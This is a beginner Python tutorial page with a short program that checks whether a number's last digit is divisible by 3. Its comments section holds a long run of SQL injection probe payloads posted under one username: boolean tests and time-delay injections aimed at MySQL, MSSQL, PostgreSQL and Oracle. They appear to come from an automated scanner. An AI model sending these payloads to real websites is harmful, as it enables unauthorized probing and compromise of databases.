Last digit divisible by 3 or not in python

Python Program to get a number num and check whether last digit of num is divisible by three.

Sample Input 1:

27

Sample Output 1:

last digit not Divisible by 3

Sample Input 2:

43

Sample Output 2:

last digit divisible by 3

Program or Solution

				
			
					
num=int(input("Enter a number:"))
last_digit=num%10
if(last_digit%3==0):
    print("{} is divisible by 3 ".format(last_digit))
else:
    print("{} is not divisible by 3".format(last_digit))


			
				
			

Program Explanation

Get input num from user using input() method extract last digit from num using the expression digit=num%10. check whether the remainder of digit divided by 3 is equal to 0 using if statement.

if it is 0, then print tdig is divisible by 3 using print() method.

Else print digit is not divisible by 3 using print() method.

Note: any number modulus of 10 gives last digit of number.

Comments

ubaTaeCJ
-1 OR 2+280-280-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3+280-280-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3*2<(0+5+280-280) --
ubaTaeCJ
-1 OR 3*2>(0+5+280-280) --
ubaTaeCJ
-1 OR 2+137-137-1=0+0+0+1
ubaTaeCJ
-1 OR 3+137-137-1=0+0+0+1
ubaTaeCJ
-1 OR 3*2<(0+5+137-137)
ubaTaeCJ
-1 OR 3*2>(0+5+137-137)
ubaTaeCJ
-1' OR 2+773-773-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3+773-773-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3*2<(0+5+773-773) --
ubaTaeCJ
-1' OR 3*2>(0+5+773-773) --
ubaTaeCJ
-1' OR 2+317-317-1=0+0+0+1 or 'Zul7wzbG'='
ubaTaeCJ
-1' OR 3+317-317-1=0+0+0+1 or 'Zul7wzbG'='
ubaTaeCJ
-1' OR 3*2<(0+5+317-317) or 'Zul7wzbG'='
ubaTaeCJ
-1' OR 3*2>(0+5+317-317) or 'Zul7wzbG'='
ubaTaeCJ
-1" OR 2+356-356-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3+356-356-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3*2<(0+5+356-356) --
ubaTaeCJ
-1" OR 3*2>(0+5+356-356) --
ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ
(select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/
ubaTaeCJ
-1; waitfor delay '0:0:15' --
ubaTaeCJ
-1); waitfor delay '0:0:15' --
ubaTaeCJ
1 waitfor delay '0:0:15' --
ubaTaeCJ
IncCuaG6'; waitfor delay '0:0:15' --
ubaTaeCJ
-5 OR 173=(SELECT 173 FROM PG_SLEEP(15))--
ubaTaeCJ
-5) OR 786=(SELECT 786 FROM PG_SLEEP(15))--
ubaTaeCJ
-1)) OR 92=(SELECT 92 FROM PG_SLEEP(15))--
ubaTaeCJ
aniupLy9' OR 425=(SELECT 425 FROM PG_SLEEP(15))--
ubaTaeCJ
nEG5qoOK') OR 394=(SELECT 394 FROM PG_SLEEP(15))--
ubaTaeCJ
e07VAwX5')) OR 285=(SELECT 285 FROM PG_SLEEP(15))--
ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
1'"
ubaTaeCJ
@@W0w0B